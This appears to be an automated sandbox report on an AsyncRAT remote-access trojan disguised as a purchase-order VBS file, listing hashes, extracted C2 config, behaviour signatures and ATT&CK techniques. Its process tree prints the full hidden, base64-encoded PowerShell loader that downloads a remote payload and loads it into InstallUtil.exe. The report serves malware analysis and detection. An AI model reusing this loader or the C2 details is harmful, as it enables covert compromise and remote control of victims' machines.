asyncrat | 8ea2bc24236cb1c49b589b4581b297a085e8427d902be24d6df8aee1dd047e68

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20251231-en
resource tags

arch:x64arch:x86image:win10v2004-20251231-enlocale:en-usos:windows10-2004-x64system
submitted
22/01/2026, 15:29

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General

Target
PO#MAIN450000000227897_Sraco_docx.vbs
Size 1.6MB
Sample260122-sxatfaf12e
SHA256 8ea2bc24236cb1c49b589b4581b297a085e8427d902be24d6df8aee1dd047e68
MD5 5e71530fec639439d10db3127d2573fc
SHA1 3bb6aea048694a7ab0141323a3b53456b70185bb
SHA512 f1ccf0d9dfeafa46f2c66521136720b65f19dd0181f086021409dc6aa2fe649b23a0458f548a9c1f21f8123b4374bae10bb74cf015c54783090c2574d0783cfc
SSDEEP 384:V7N7/dbvY7l+hqD7l+7GVg8a/o7l+7bcuk9EPmOjQ7sSVVvAhNaITIqIFI9K7NsX:Hyq
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

22-01-2026_jan discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

A 12

Botnet

22-01-2026_Jan

asseccmod.ydns.eu:60219

Mutex

AsyncMutex_I8OkP6SI8OkPnkI8OkP

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	220	1968	powershell.exe	84

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	220	powershell.exe
12	220	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
220	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 220 set thread context of 2936	220	powershell.exe	90

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
220	powershell.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe
2936	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	2936	InstallUtil.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2936	InstallUtil.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 220 wrote to memory of 2936	220	powershell.exe	90
PID 220 wrote to memory of 2936	220	powershell.exe	90
PID 220 wrote to memory of 2936	220	powershell.exe	90
PID 220 wrote to memory of 2936	220	powershell.exe	90
PID 220 wrote to memory of 2936	220	powershell.exe	90

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO#MAIN450000000227897_Sraco_docx.vbs"
1⤵
PID:2952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABhAGYAZgByAG8AbgB0AGUAZABsAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYQBmAGYAcgBvAG4AdABlAGQAbAB5AC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQA7ACQAYQBmAGYAcgBvAG4AdABlAGQAbAB5AC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAYQBmAGYAcgBvAG4AdABlAGQAbAB5AC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAtAEwAYQBuAGcAdQBhAGcAZQAiACwAIAAiAGUAbgAtAFUAUwAsAGUAbgA7AHEAPQAwAC4AOQAiACkAOwAkAGIAcgB1AGMAZQBsAGwAbwBzAGkAcwAgAD0AIAAnACMAIQAhAH4AJQA6AC8ALwBiAGEAZgB5AGIAZQBpAGIAZgBvAHkAaQA3AHIAdQB1AHkAbwBuAGMAYQByAGYANAB4AHIANQA1AHEAYQAzAGwAIQAjACUAagBqAGoAZwByAGsAIQBrADQAaQBhADQAegAzAHUAfgBlACUAYQB3AGIANAByAHkALgBpAH4AZgAlAC4AdwAzACUALgBsAGkAbgBrAC8AbwB+ACEAaQBtAGkAegBlAGQAXwBNAFMASQAuAH4AbgBnACcALgBSAGUAcABsAGEAYwBlACgAJwAjACcALAAgACcAaAAnACkALgBSAGUAcABsAGEAYwBlACgAJwAhACcALAAgACcAdAAnACkALgBSAGUAcABsAGEAYwBlACgAJwB+ACcALAAgACcAcAAnACkALgBSAGUAcABsAGEAYwBlACgAJwAlACcALAAgACcAcwAnACkAOwAkAGEAYwBlAHIAYgBlAHIAIAA9ACAAJABhAGYAZgByAG8AbgB0AGUAZABsAHkALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYgByAHUAYwBlAGwAbABvAHMAaQBzACkAOwAkAHAAaABvAHQAbwBkAHkAbgBhAG0AaQBjAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGEAYwBlAHIAYgBlAHIAKQA7AGkAZgAgACgAJABwAGgAbwB0AG8AZAB5AG4AYQBtAGkAYwBzACAALQBtAGEAdABjAGgAIAAnAEIAYQBzAGUAUwB0AGEAcgB0AC0AKAAuACoAPwApAC0AQgBhAHMAZQBFAG4AZAAnACkAIAB7ACAAIAAkAG0AaQBjAHIAbwBsAGUAcABpAGQAbwB0AHUAcwAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABuAG8AbgB0AGUAYwBoAG4AaQBjAGEAbABsAHkAIAA9ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbQBpAGMAcgBvAGwAZQBwAGkAZABvAHQAdQBzACkAKQA7ACAAIAAkAGEAcgBnAHMAQgBhAHMAZQA2ADQAIAA9ACAAJwBKAHcAQQA5AEEARgBFAEEAUwBBAEIAbABBAEQAQQBBAE4AUQBCAEQAQQBGAG8AQQBhAHcAQQA1AEEARgBjAEEAWQBnAEIAbwBBAEUANABBAGIAUQBCAGkAQQBEAFUAQQBUAGcAQQB6AEEARQB3AEEAYwBnAEEAMQBBAEYAYwBBAFkAUQBCAHoAQQBEAFUAQQBlAFEAQgBqAEEASABvAEEAWQB3AEIAdQBBAEUAdwBBAGUAZwBCAGEAQQBFAGMAQQBZAHcAQgB3AEEARABVAEEAUQB3AEIATwBBAEgAbwBBAFQAUQBCAFgAQQBFADQAQQBNAGcAQgBvAEEARgBjAEEAVwBRAEIANQBBAEcAZwBBAFcAQQBCAGsAQQBBAG8AQQBEAFEAQQB6AEEARQA0AEEAVwBBAEIAWgBBAEgAbwBBAFcAUQBCAHQAQQBHAFEAQQBNAGcAQgBHAEEARABJAEEAVABRAEIAeABBAEcAdwBBAE0AZwBCAGoAQQBIAEkAQQBVAGcAQgBVAEEARgBvAEEAYQBnAEIATwBBAEYAYwBBAFkAUQBCADUAQQBHAGcAQQBXAEEAQgBsAEEARwB3AEEAUgBnAEEAeQBBAEYAbwBBAE0AUQBCAFIAQQBGAFEAQQBUAGcAQgA0AEEARQBZAEEATQBnAEIAaABBAEcAOABBAFcAZwBCAEUAQQBFADQAQQBNAHcAQgA0AEEARQBjAEEAWQBnAEIAcQBBAEUANABBAGEAZwBCAGsAQQBHADAAQQBPAFEAQgBYAEEARgBvAEEAYwBBAEIAVwBBAEcAMABBAFcAUQBBADEAQQBGAG8AQQBWAHcAQgBaAEEARwBrAEEATwBRAEIANQBBAEUAdwBBAE4AZwBCAE4AQQBFAGcAQQBZAHcAQQB3AEEARgBJAEEAUwBBAEIAaABBAEMAYwBBAEwAQQBBAG4AQQBDAGMAQQBMAEEAQQBuAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARgBBAEEAZABRAEIAaQBBAEcAdwBBAGEAUQBCAGoAQQBGAHcAQQBSAEEAQgB2AEEASABjAEEAYgBnAEIAcwBBAEcAOABBAFkAUQBCAGsAQQBIAE0AQQBYAEEAQQBuAEEAQwB3AEEASgB3AEIATwBBAEcARQBBAGIAUQBCAGwAQQBGADgAQQBSAGcAQgBwAEEARwB3AEEAWgBRAEEAbgBBAEMAdwBBAEoAdwBCAEoAQQBHADQAQQBjAHcAQgAwAEEARwBFAEEAYgBBAEIAcwBBAEYAVQBBAGQAQQBCAHAAQQBHAHcAQQBKAHcAQQBzAEEAQwBjAEEASgB3AEEAcwBBAEMAYwBBAFMAUQBCAHUAQQBIAE0AQQBkAEEAQgBoAEEARwB3AEEAYgBBAEIAVgBBAEgAUQBBAGEAUQBCAHMAQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEATABBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBjAHcAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAUQBBAGIAZwBBAHUAQQBHAFEAQQBhAFEAQgB6AEEARwBNAEEAYgB3AEIAeQBBAEcAUQBBAFkAUQBCAHcAQQBIAEEAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAdgBBAEcARQBBAGQAQQBCADAAQQBHAEUAQQBZAHcAQgBvAEEARwAwAEEAWgBRAEIAdQBBAEgAUQBBAGMAdwBBAHYAQQBEAEUAQQBNAFEAQQA0AEEARABFAEEATQB3AEEAMwBBAEQAZwBBAE8AUQBBAHcAQQBEAEkAQQBNAFEAQQB4AEEARABZAEEATQBBAEEAeABBAEQAWQBBAE0AZwBBAHkAQQBEAEkAQQBMAHcAQQB4AEEARABRAEEATQB3AEEANABBAEQAWQBBAE8AQQBBAHkAQQBEAFEAQQBNAGcAQQB3AEEARABRAEEATgB3AEEAMABBAEQAZwBBAE0AUQBBAHcAQQBEAFUAQQBNAGcAQQB4AEEAQwA4AEEAYwB3AEIAbwBBAEcAawBBAGIAUQBBAHUAQQBIAFkAQQBZAGcAQgB6AEEARAA4AEEAWgBRAEIANABBAEQAMABBAE4AZwBBADUAQQBEAEUAQQBOAHcAQgBqAEEARABRAEEAWgBRAEIAaABBAEMAWQBBAGEAUQBCAHoAQQBEADAAQQBOAGcAQQA1AEEARABFAEEATgBnAEEAMwBBAEQATQBBAE4AZwBCAGgAQQBDAFkAQQBhAEEAQgB0AEEARAAwAEEATwBRAEIAaABBAEcASQBBAE4AZwBCAG0AQQBEAEUAQQBNAGcAQgBsAEEARwBZAEEATQBRAEIAbQBBAEQAUQBBAFoAUQBBADQAQQBEAE0AQQBNAHcAQQAzAEEARABRAEEATgBnAEEAMwBBAEcAVQBBAE0AZwBBADQAQQBEAEEAQQBZAGcAQQAzAEEARwBNAEEAWQBRAEIAagBBAEQAawBBAE0AdwBCAG0AQQBEAFUAQQBOAHcAQQAzAEEARABJAEEATQBnAEEAeABBAEcAUQBBAE0AdwBCAG0AQQBHAFkAQQBNAEEAQQA0AEEARABFAEEATwBRAEIAbABBAEQASQBBAFoAUQBCAGkAQQBEAE0AQQBOAEEAQQAxAEEARABRAEEAWgBnAEEAeQBBAEQAWQBBAE0AdwBBAHgAQQBEAE0AQQBNAGcAQQB6AEEARABVAEEATgBRAEEAbQBBAEMAYwBBAEwAQQBBAG4AQQBFAE0AQQBPAGcAQgBjAEEARgBVAEEAYwB3AEIAbABBAEgASQBBAGMAdwBCAGMAQQBGAEEAQQBkAFEAQgBpAEEARwB3AEEAYQBRAEIAagBBAEYAdwBBAFIAQQBCAHYAQQBIAGMAQQBiAGcAQgBzAEEARwA4AEEAWQBRAEIAawBBAEgATQBBAFgAQQBBAG4AQQBDAHcAQQBKAHcAQgBPAEEARwBFAEEAYgBRAEIAbABBAEYAOABBAFIAZwBCAHAAQQBHAHcAQQBaAFEAQQBuAEEAQwB3AEEASgB3AEIAMgBBAEcASQBBAGMAdwBBAG4AQQBDAHcAQQBKAHcAQQB4AEEAQwBjAEEATABBAEEAbgBBAEMAYwBBAEwAQQBBAG4AQQBGAFEAQQBZAFEAQgB6AEEARwBzAEEAWAB3AEIATwBBAEcARQBBAGIAUQBCAGwAQQBDAGMAQQBMAEEAQQBuAEEARABBAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEASgB3AEEAPQAnADsAIAAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhAHIAZwBzAEIAYQBzAGUANgA0ACkAKQA7ACAAIAAkAGEAcgBnAHMAIAA9ACAAJABhAHIAZwBzAFMAdAByAGkAbgBnACAALQBzAHAAbABpAHQAIAAnACwAJwAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4AVAByAGkAbQAoACcAJwAnACIAJwAgACkAIAB9ADsAIAAgAFsAUwBvAGYAdAB3AGEAcgBlAC4AUAByAG8AZwByAGEAbQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAiAE0AYQBpAG4AIgApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAYQByAGcAcwApADsAfQA=')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:220
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_w1ragmdb.ohf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w1ragmdb.ohf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/220-0-0x0000026B3AE40000-0x0000026B3AE50000-memory.dmp

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memory/220-1-0x0000026B3AE40000-0x0000026B3AE50000-memory.dmp

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memory/220-2-0x0000026B3AE00000-0x0000026B3AE22000-memory.dmp

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memory/220-10-0x0000026B3AE90000-0x0000026B3AF00000-memory.dmp

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memory/2936-14-0x0000000005060000-0x0000000005070000-memory.dmp

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memory/2936-11-0x0000000000400000-0x0000000000416000-memory.dmp

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memory/2936-15-0x0000000005760000-0x0000000005D04000-memory.dmp

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memory/2936-16-0x0000000005390000-0x0000000005422000-memory.dmp

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memory/2936-17-0x0000000005440000-0x000000000544A000-memory.dmp

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memory/2936-20-0x0000000006570000-0x000000000660C000-memory.dmp

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memory/2936-21-0x0000000006610000-0x0000000006676000-memory.dmp

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memory/2936-22-0x0000000005060000-0x0000000005070000-memory.dmp

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